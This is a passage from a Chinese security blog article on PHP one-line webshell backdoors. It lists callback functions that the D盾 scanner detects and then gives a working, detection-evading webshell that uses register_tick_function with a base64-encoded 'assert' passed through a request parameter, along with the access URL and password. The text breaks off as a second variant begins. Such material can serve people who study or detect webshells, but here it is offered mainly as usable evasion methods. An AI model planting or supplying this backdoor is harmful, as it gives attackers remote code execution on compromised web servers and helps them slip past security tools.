php 留言板 木马_PHP一句话木马研究

*本文原创作者：Gxian，本文属于FreeBuf原创奖励计划，未经许可禁止转载

最近在研究PHP一句话后门，查阅了很多大佬的博客，并从中衍生出了一些可用的方法。

现总结如下：

方案一：回调函数回调函数：Callback (即call then back 被主函数调用运算后会返回主函数)，是指通过函数参数传递到其它代码的，某一块可执行代码的引用。

已被D盾查杀的函数：array_filter()

array_walk()

array_walk_recursive()

array_map()

registregister_shutdown_function();

filter_var()

filter_var_array()

uasort()

uksort()

array_reduce() 可疑(级别2)

array_walk()

array_walk_recursive()

1.register_tick_function()

构造一句话：<?php

declare(ticks=1);

register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);

?>

访问URL：IP/XXX.php?e=YXNzZXJ0

密码：a

2.变种call_user_func_array()

尝试模仿正常函数调用，定义一个简单的function